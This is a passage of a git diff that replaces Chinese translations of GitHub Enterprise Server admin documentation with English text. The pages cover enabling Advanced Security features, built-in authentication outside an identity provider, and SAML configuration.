后，所有组织的仓库管理员都可以启用这些功能，除非您设置了限制访问的策略。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_advanced_security %} 的策略](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)”。 +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)." {% else %} -为企业启用 {% data variables.product.prodname_GH_advanced_security %} 后，所有组织的仓库管理员都可以启用这些功能。 {% ifversion ghes = 3.0 %}更多信息请参阅“[管理组织的安全性和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”或“[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)”。{% endif %} +When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} {% endif %} {% ifversion ghes %} -有关分阶段部署 GitHub Advanced Security 的指导，请参阅“[在企业中部署 GitHub Advanced Security](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)”。 +For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)." {% endif %} -## 启用 {% data variables.product.prodname_GH_advanced_security %} 的前提条件 - -1. 升级 {% data variables.product.product_name %} 许可以包括 {% data variables.product.prodname_GH_advanced_security %}。{% ifversion ghes > 3.0 %}有关许可的更多信息，请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %} 的计费](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)”。{% endif %} -2. 下载新的许可文件。 更多信息请参阅“[下载 {% data variables.product.prodname_enterprise %} 的许可](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)”。 -3. 将新许可文件上传到 {% data variables.product.product_location %}。 更多信息请参阅“[上传新许可到 {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)”。{% ifversion ghes %} -4. 审查您计划启用的功能的先决条件。 - - - {% data variables.product.prodname_code_scanning_capc %}，请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)”。 - - {% data variables.product.prodname_secret_scanning_caps %}，请参阅“[为设备配置 {% data variables.product.prodname_secret_scanning %}](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)”。{% endif %} - - {% data variables.product.prodname_dependabot %}，请参阅“[在企业帐户上启用依赖关系图和 {% data variables.product.prodname_dependabot_alerts %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)”。 - -## 检查您的许可是否包含 {% data variables.product.prodname_GH_advanced_security %} +## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %} {% ifversion ghes > 3.0 %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.license-tab %} -1. 如果您的许可包括 {% data variables.product.prodname_GH_advanced_security %}，则许可页面将包括显示当前使用情况详细信息的部分。 ![企业许可证的 {% data variables.product.prodname_GH_advanced_security %} 部分](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage. +![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png) {% endif %} {% ifversion ghes = 3.0 %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -1. 如果您的许可包括 {% data variables.product.prodname_GH_advanced_security %}，则左侧边栏中有一个 **{% data variables.product.prodname_advanced_security %}** 条目。 ![高级安全侧边栏](/assets/images/enterprise/management-console/sidebar-advanced-security.png) +1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar. +![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png) {% data reusables.enterprise_management_console.advanced-security-license %} {% endif %} -## 启用和禁用 {% data variables.product.prodname_GH_advanced_security %} 功能 +## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %} + +1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %} +2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." +3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %} +4. Review the prerequisites for the features you plan to enable. + + - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)." + - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %} + - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." + +## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features {% data reusables.enterprise_management_console.enable-disable-security-features %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %} -1. 在“{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security（安全性）{% endif %}”下，选择要启用的功能，取消选择要禁用的任何功能。 +1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable. {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %} -1. 在“{% data variables.product.prodname_advanced_security %}”下，单击 **{% data variables.product.prodname_code_scanning_capc %}**。 ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png)用于启用 Public Pages 的复选框{% endif %} +1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**. +![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %} {% data reusables.enterprise_management_console.save-settings %} -当 {% data variables.product.product_name %} 完成重启后，您可以设置新启用功能所需的任何额外资源。 更多信息请参阅“[为设备配置 {% data variables.product.prodname_code_scanning %}](/admin/advanced-security/configuring-code-scanning-for-your-appliance)”。 +When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)." -## 通过管理 shell (SSH) 启用或禁用 {% data variables.product.prodname_GH_advanced_security %} 功能 +## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH) -您可以通过编程方式在 {% data variables.product.product_location %} 上启用或禁用功能。 有关 {% data variables.product.prodname_ghe_server %} 的管理 shell 和命令行实用程序的更多信息，请参阅“[访问管理 shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)”和“[命令行实用程序](/admin/configuration/command-line-utilities#ghe-config)”。 +You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)." -例如，当您部署用于暂存或灾难恢复的实例时，可以使用基础架构即代码工具启用任何 {% data variables.product.prodname_GH_advanced_security %}。 +For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery. -1. SSH 连接到 {% data variables.product.product_location %}。 -1. 启用 {% data variables.product.prodname_GH_advanced_security %} 的功能。 +1. SSH into {% data variables.product.product_location %}. +1. Enable features for {% data variables.product.prodname_GH_advanced_security %}. - - 要启用 {% data variables.product.prodname_code_scanning_capc %}，请输入以下命令。 + - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands. ```shell ghe-config app.minio.enabled true ghe-config app.code-scanning.enabled true ``` - - 要启用 {% data variables.product.prodname_secret_scanning_caps %}，请输入以下命令。 + - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command. ```shell ghe-config app.secret-scanning.enabled true ``` - - 要启用 {% data variables.product.prodname_dependabot %}，请输入以下 {% ifversion ghes > 3.1 %}命令{% else %}命令{% endif %}。 + - To enable {% data variables.product.prodname_dependabot %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}. {% ifversion ghes > 3.1 %}```shell ghe-config app.dependency-graph.enabled true ``` @@ -96,18 +99,18 @@ topics: ghe-config app.github.dependency-graph-enabled true ghe-config app.github.vulnerability-alerting-and-settings-enabled true ```{% endif %} -2. （可选）禁用 {% data variables.product.prodname_GH_advanced_security %} 的功能。 +2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}. - - 要禁用 {% data variables.product.prodname_code_scanning %}，请输入以下命令。 + - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands. ```shell ghe-config app.minio.enabled false ghe-config app.code-scanning.enabled false ``` - - 要禁用 {% data variables.product.prodname_secret_scanning %}，请输入以下命令。 + - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command. ```shell ghe-config app.secret-scanning.enabled false ``` - - 要禁用 {% data variables.product.prodname_dependabot_alerts %}，请输入以下 {% ifversion ghes > 3.1 %}命令{% else %}命令{% endif %}。 + - To disable {% data variables.product.prodname_dependabot_alerts %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}. {% ifversion ghes > 3.1 %}```shell ghe-config app.dependency-graph.enabled false ``` @@ -115,7 +118,7 @@ topics: ghe-config app.github.dependency-graph-enabled false ghe-config app.github.vulnerability-alerting-and-settings-enabled false ```{% endif %} -3. 应用配置。 +3. Apply the configuration. ```shell ghe-config-apply ``` diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md index b32c714237..75efc128d4 100644 --- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md +++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md @@ -1,6 +1,6 @@ --- -title: 允许对身份提供程序覆盖范围以外的用户进行内置身份验证 -intro: 您可以配置内置身份验证，为无法访问使用 LDAP、SAML 或 CAS 的身份提供程序的用户验证身份。 +title: Allowing built-in authentication for users outside your identity provider +intro: 'You can configure built-in authentication to authenticate users who don''t have access to your identity provider that uses LDAP, SAML, or CAS.' redirect_from: - /enterprise/admin/user-management/allowing-built-in-authentication-for-users-outside-your-identity-provider - /enterprise/admin/authentication/allowing-built-in-authentication-for-users-outside-your-identity-provider @@ -13,46 +13,47 @@ topics: - Authentication - Enterprise - Identity -shortTitle: IdP 以外的身份验证 +shortTitle: Authentication outside IdP --- +## About built-in authentication for users outside your identity provider -## 关于对您的身份提供程序覆盖范围外的用户进行内置身份验证 +You can use built-in authentication for outside users when you are unable to add specific accounts to your identity provider (IdP), such as accounts for contractors or machine users. You can also use built-in authentication to access a fallback account if the identity provider is unavailable. -在无法将特定帐户（例如，合同工或计算机用户的帐户）添加到身份提供程序 (IdP) 时，您可以为外部用户使用内置身份验证。 如果无法使用身份提供程序，您还可以使用内置身份验证来访问回退帐户。 +After built-in authentication is configured and a user successfully authenticates with SAML or CAS, they will no longer have the option to authenticate with a username and password. If a user successfully authenticates with LDAP, the credentials are no longer considered internal. -内置身份验证配置完成且用户使用 SAML 或 CAS 成功地进行身份验证后，他们将无法使用用户名和密码进行身份验证。 如果用户使用 LDAP 成功地完成身份验证，凭据将不再被视为内部凭据。 - -在默认情况下，特定 IdP 的内置身份验证处于禁用状态。 +Built-in authentication for a specific IdP is disabled by default. {% warning %} -**警告**：如果您禁用内置身份验证，则必须单独挂起不应具有实例访问权限的任何用户。 更多信息请参阅“[挂起和取消挂起用户](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)”。 +**Warning:** If you disable built-in authentication, you must individually suspend any users that should no longer have access to the instance. For more information, see "[Suspending and unsuspending users](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)." {% endwarning %} -## 为您的身份提供程序覆盖范围外的用户配置内置身份验证 +## Configuring built-in authentication for users outside your identity provider {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -4. 选择身份提供程序。![选择身份提供程序选项](/assets/images/enterprise/management-console/identity-provider-select.gif) -5. 选择 **Allow creation of accounts with built-in authentication**。 ![选择内置身份验证选项](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) -6. 阅读警告，然后单击 **Ok**。 +4. Select your identity provider. + ![Select identity provider option](/assets/images/enterprise/management-console/identity-provider-select.gif) +5. Select **Allow creation of accounts with built-in authentication**. + ![Select built-in authentication option](/assets/images/enterprise/management-console/built-in-auth-identity-provider-select.png) +6. Read the warning, then click **Ok**. {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.2fa_is_available %} -## 邀请您的身份提供程序覆盖范围外的用户在您的实例上进行身份验证 +## Inviting users outside your identity provider to authenticate to your instance -在用户接受邀请后，他们可以使用用户名和密码登录，无需通过 IdP。 +When a user accepts the invitation, they can use their username and password to sign in rather than signing in through the IdP. {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.invite-user-sidebar-tab %} {% data reusables.enterprise_site_admin_settings.invite-user-reset-link %} -## 延伸阅读 +## Further reading -- "[使用 LDAP](/enterprise/{{ page.version }}/admin/guides/user-management/using-ldap)" -- "[使用 SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" -- "[使用 CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" +- "[Using LDAP](/enterprise/admin/authentication/using-ldap)" +- "[Using SAML](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-saml)" +- "[Using CAS](/enterprise/{{ currentVersion }}/admin/guides/user-management/using-cas)" diff --git a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md index 1b0be87a07..b7f582ffcb 100644 --- a/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md +++ b/translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md @@ -1,12 +1,12 @@ --- -title: 使用 SAML +title: Using SAML redirect_from: - /enterprise/admin/articles/configuring-saml-authentication/ - /enterprise/admin/articles/about-saml-authentication/ - /enterprise/admin/user-management/using-saml - /enterprise/admin/authentication/using-saml - /admin/authentication/using-saml -intro: 'SAML 是一种基于 XML 的身份验证和授权标准。 {% data variables.product.prodname_ghe_server %} 可以作为您的内部 SAML 身份提供程序 (IdP) 的服务提供程序 (SP)。' +intro: 'SAML is an XML-based standard for authentication and authorization. {% data variables.product.prodname_ghe_server %} can act as a service provider (SP) with your internal SAML identity provider (IdP).' versions: ghes: '*' type: how_to @@ -17,31 +17,30 @@ topics: - Identity - SSO --- - {% data reusables.enterprise_user_management.built-in-authentication %} -## 支持的 SAML 服务 +## Supported SAML services {% data reusables.saml.saml-supported-idps %} {% data reusables.saml.saml-single-logout-not-supported %} -## 使用 SAML 时的用户名考量因素 +## Username considerations with SAML -每个 {% data variables.product.prodname_ghe_server %} 用户名都由 SAML 响应中的以下断言之一决定，这些断言按优先级从高到低排列的顺序为： +Each {% data variables.product.prodname_ghe_server %} username is determined by one of the following assertions in the SAML response, ordered by priority: -- 自定义用户名属性（如果定义且存在） -- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` 断言（如果存在） -- `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` 断言（如果存在） -- `NameID` 元素 +- The custom username attribute, if defined and present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name` assertion, if present +- An `http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress` assertion, if present +- The `NameID` element -即使其他属性存在，也需要 `NameID` 元素。 +The `NameID` element is required even if other attributes are present. -将在 `NameID` 与 {% data variables.product.prodname_ghe_server %} 用户名之间创建映射，`NameID` 应持久、唯一，并且在用户生命周期内不会发生变化。 +A mapping is created between the `NameID` and the {% data variables.product.prodname_ghe_server %} username, so the `NameID` should be persistent, unique, and not subject to change for the lifecycle of the user. {% note %} -**注**：如果在 IdP 上更改某用户的 `NameID`，该用户在尝试登录到您的 {% data variables.product.prodname_ghe_server %} 实例时会看到错误消息。 {% ifversion ghes %}要恢复用户的访问权限，您需要更新用户帐户的 `NameID` 映射。 更多信息请参阅“[更新用户的 SAML `NameID`](#updating-a-users-saml-nameid)”。{% else %} 更多信息请参阅“[错误：另一个用户已拥有该帐户](#error-another-user-already-owns-the-account)”。{% endif %} +**Note**: If the `NameID` for a user does change on the IdP, the user will see an error message when they try to sign in to your {% data variables.product.prodname_ghe_server %} instance. {% ifversion ghes %}To restore the user's access, you'll need to update the user account's `NameID` mapping. For more information, see "[Updating a user's SAML `NameID`](#updating-a-users-saml-nameid)."{% else %} For more information, see "[Error: 'Another user already owns the account'](#error-another-user-already-owns-the-account)."{% endif %} {% endnote %} @@ -52,75 +51,88 @@ topics: {% data reusables.enterprise_user_management.two_factor_auth_header %} {% data reusables.enterprise_user_management.external_auth_disables_2fa %} -## SAML 元数据 +## SAML metadata -您的 {% data variables.product.prodname_ghe_server %} 实例的服务提供程序元数据位于 `http(s)://[hostname]/saml/metadata` 下。 +Your {% data variables.product.prodname_ghe_server %} instance's service provider metadata is available at `http(s)://[hostname]/saml/metadata`. -要手动配置您的身份提供程序，断言使用者服务 (ACS) URL 为 `http(s)://[hostname]/saml/consume`。 它使用 `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` 绑定。 +To configure your identity provider manually, the Assertion Consumer Service (ACS) URL is `http(s)://[hostname]/saml/consume`. It uses the `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` binding. -## SAML 属性 +## SAML attributes -以下属性可用。 您可以在 [Management Console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/) 中更改属性名称，但 `administrator` 属性除外。 +These attributes are available. You can change the attribute names in the [management console](/enterprise/{{ currentVersion }}/admin/guides/installation/accessing-the-management-console/), with the exception of the `administrator` attribute. -| 默认属性名称 | 类型 | 描述 | -| ------------- | -- | --------------------------------------------------------------------------------------------------------------- | -| `NameID` | 必选 | 持久用户标识符。 可以使用任意持久名称标识符格式。 除非提供备用断言之一，否则将为 {% data variables.product.prodname_ghe_server %} 用户名使用 `NameID` 元素。 | -| `管理员` | 可选 | 如果值为“true”，用户将被自动升级为管理员。 任何其他值或不存在的值会将用户降级为普通用户帐户。 | -| `用户名` | 可选 | {% data variables.product.prodname_ghe_server %} 用户名。 | -| `full_name` | 可选 | 用户的个人资料页面上显示的姓名。 用户可以在配置后更改他们的姓名。 | -| `emails` | 可选 | 用户的电子邮件地址。 可以指定多个。 | -| `public_keys` | 可选 | 用户的 SSH 公钥。 可以指定多个。 | -| `gpg_keys` | 可选 | 用户的 GPG 密钥。 可以指定多个。 | +| Default attribute name | Type | Description | +|-----------------|----------|-------------| +| `NameID` | Required | A persistent user identifier. Any persistent name identifier format may be used. The `NameID` element will be used for a {% data variables.product.prodname_ghe_server %} username unless one of the alternative assertions is provided. | +| `administrator` | Optional | When the value is 'true', the user will automatically be promoted as an administrator. Any other value or a non-existent value will demote the user to a normal user account. | +| `username` | Optional | The {% data variables.product.prodname_ghe_server %} username. | +| `full_name` | Optional | The name of the user displayed on their profile page. Users may change their names after provisioning. | +| `emails` | Optional | The email addresses for the user. More than one can be specified. | +| `public_keys` | Optional | The public SSH keys for the user. More than one can be specified. | +| `gpg_keys` | Optional | The GPG keys for the user. More than one can be specified. | -## 配置 SAML 设置 +## Configuring SAML settings {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.authentication %} -3. 选择 **SAML**。 ![SAML 身份验证](/assets/images/enterprise/management-console/auth-select-saml.png) -4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![选中 SAML 内置身份验证复选框](/assets/images/enterprise/management-console/saml-built-in-authentication.png) -5. 或者，要启用非请求响应 SSO，请选择 **IdP initiated SSO**。 默认情况下，{% data variables.product.prodname_ghe_server %} 将向 IdP 发回 `AuthnRequest`，回复非请求身份提供程序 (IdP) 发起的请求。 ![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) +3. Select **SAML**. +![SAML authentication](/assets/images/enterprise/management-console/auth-select-saml.png) +4. {% data reusables.enterprise_user_management.built-in-authentication-option %} ![Select SAML built-in authentication checkbox](/assets/images/enterprise/management-console/saml-built-in-authentication.png) +5. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP. +![SAML idP SSO](/assets/images/enterprise/management-console/saml-idp-sso.png) {% tip %} - **注**：我们建议保留此值处于**未选择**状态。 您**只**应在罕见的情况下启用此功能，即您的 SAML 实现不支持服务提供程序发起的 SSO，并且 {% data variables.contact.enterprise_support %} 建议执行此操作。 + **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}. {% endtip %} -5. 如果您**不**希望 SAML 提供程序为 {% data variables.product.product_location %} 上的用户确定管理员权限，请选择 **Disable administrator demotion/promotion（禁用管理员降级/升级）**。 ![SAML 禁用管理员配置](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) -6. 在 **Single sign-on URL** 字段中，为单点登录请求输入您的 IdP 上的 HTTP 或 HTTPS 端点。 此值由您的 IdP 配置提供。 如果主机只能在您的内部网络中使用，您需要先[将 {% data variables.product.product_location %} 配置为使用内部域名服务器](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/)。 ![SAML 身份验证](/assets/images/enterprise/management-console/saml-single-sign-url.png) -7. （可选）在 **Issuer（签发者）** 字段中，输入您的 SAML 签发者的姓名。 这将验证发送到 {% data variables.product.product_location %} 的消息的真实性。 ![SAML 颁发者](/assets/images/enterprise/management-console/saml-issuer.png) -8. 在 **Signature Method（签名方法）** 和 **Digest Method（摘要方法）** 下拉菜单中，选择您的 SAML 颁发者用于验证 {% data variables.product.product_location %} 请求完整性的哈希算法。 使用 **Name Identifier Format** 下拉菜单指定格式。 ![SAML 方法](/assets/images/enterprise/management-console/saml-method.png) -9. 在 **Verification certificate（验证证书）**下，单击 **Choose File（选择文件）**并选择用于验证 IdP 的 SAML 响应的证书。 ![SAML 身份验证](/assets/images/enterprise/management-console/saml-verification-cert.png) -10. 如果需要，请修改 SAML 属性名称以匹配您的 IdP，或者接受默认名称。![SAML 属性名称](/assets/images/enterprise/management-console/saml-attributes.png) +5. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.product.product_location %}. +![SAML disable admin configuration](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png) +6. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.product.product_location %} to use internal nameservers](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-dns-nameservers/). +![SAML authentication](/assets/images/enterprise/management-console/saml-single-sign-url.png) +7. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.product.product_location %}. +![SAML issuer](/assets/images/enterprise/management-console/saml-issuer.png) +8. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.product.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu. +![SAML method](/assets/images/enterprise/management-console/saml-method.png) +9. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP. +![SAML authentication](/assets/images/enterprise/management-console/saml-verification-cert.png) +10. Modify the SAML attribute names to match your IdP if needed, or accept the default names. + ![SAML attribute names](/assets/images/enterprise/management-console/saml-attributes.png) {% ifversion ghes %} -## 撤销 {{ site.data.variables.product.product_location_enterprise }} 的权限 +## Updating a user's SAML `NameID` {% data reusables.enterprise_site_admin_settings.access-settings %} -2. 选择 **SAML**。 ![网站管理员设置中的"All users（所有用户）"侧边栏项目](/assets/images/enterprise/site-admin-settings/all-users.png) -3. 在用户列表中，点击您想要更新其 `NameID` 映射的用户名。 ![实例用户帐户列表中的用户名](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) +2. In the left sidebar, click **All users**. + !["All users" sidebar item in site administrator settings](/assets/images/enterprise/site-admin-settings/all-users.png) +3. In the list of users, click the username you'd like to update the `NameID` mapping for. + ![Username in list of instance user accounts](/assets/images/enterprise/site-admin-settings/all-users-click-username.png) {% data reusables.enterprise_site_admin_settings.security-tab %} -5. 在“Update SAML NameID（更新 SAML 名称 ID）”右侧，单击 **Edit（编辑）**。 ![SAML 身份验证](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) -6. 在“NameID（名称 ID）”字段中，为用户键入新的 `NameID`。 ![键入了名称 ID 的模态对话框中的"名称 ID"字段](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) -7. 单击 **Update NameID（更新名称 ID）**。 ![模态中更新的名称 ID 下的"Update NameID（更新名称 ID）"按钮](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) +5. To the right of "Update SAML NameID", click **Edit** . + !["Edit" button under "SAML authentication" and to the right of "Update SAML NameID"](/assets/images/enterprise/site-admin-settings/update-saml-nameid-edit.png) +6. In the "NameID" field, type the new `NameID` for the user. + !["NameID" field in modal dialog with NameID typed](/assets/images/enterprise/site-admin-settings/update-saml-nameid-field-in-modal.png) +7. Click **Update NameID**. + !["Update NameID" button under updated NameID value within modal](/assets/images/enterprise/site-admin-settings/update-saml-nameid-update.png) {% endif %} -## 撤销 {% data variables.product.product_location %} 的权限 +## Revoking access to {% data variables.product.product_location %} -如果您将某个用户从您的身份提供程序中移除，还必须手动挂起他们。 否则，他们仍可以继续使用访问令牌或 SSH 密钥进行身份验证。 更多信息请参阅“[挂起和取消挂起用户](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)”。 +If you remove a user from your identity provider, you must also manually suspend them. Otherwise, they'll continue to be able to authenticate using access tokens or SSH keys. For more information, see "[Suspending and unsuspending users](/enterprise/admin/guides/user-management/suspending-and-unsuspending-users)". -## 响应消息的要求 +## Response message requirements -响应消息必须满足以下要求： +The response message must fulfill the following requirements: -- `` 元素必须在根响应文档上提供，而且只有在根响应文档签署后才匹配 ACS URL。 如果断言已签名，它将被忽略。 -- `` 元素必须始终作为 `` 元素的一部分提供。 `` 元素必须始终作为 `` 元素的一部分提供。 这是 {% data variables.product.prodname_ghe_server %} 实例的 URL，如 `https://ghe.corp.example.com`。 -- 响应中的每一个断言都**必须**由数字签名加以保护。 签署各个 `` 元素或签署 `` 元素可以实现此操作。 -- `` 元素必须作为 `` 元素的一部分提供。 可以使用任意持久名称标识符格式。 -- `Recipient` 属性必须存在并设为 ACS URL。 例如： +- The `` element must be provided on the root response document and match the ACS URL only when the root response document is signed. If the assertion is signed, it will be ignored. +- The `` element must always be provided as part of the `` element. It must match the `EntityId` for {% data variables.product.prodname_ghe_server %}. This is the URL to the {% data variables.product.prodname_ghe_server %} instance, such as `https://ghe.corp.example.com`. +- Each assertion in the response **must** be protected by a digital signature. This can be accomplished by signing each individual `` element or by signing the `` element. +- A `` element must be provided as part of the `` element. Any persistent name identifier format may be used. +- The `Recipient` attribute must be present and set to the ACS URL. For example: ```xml @@ -140,23 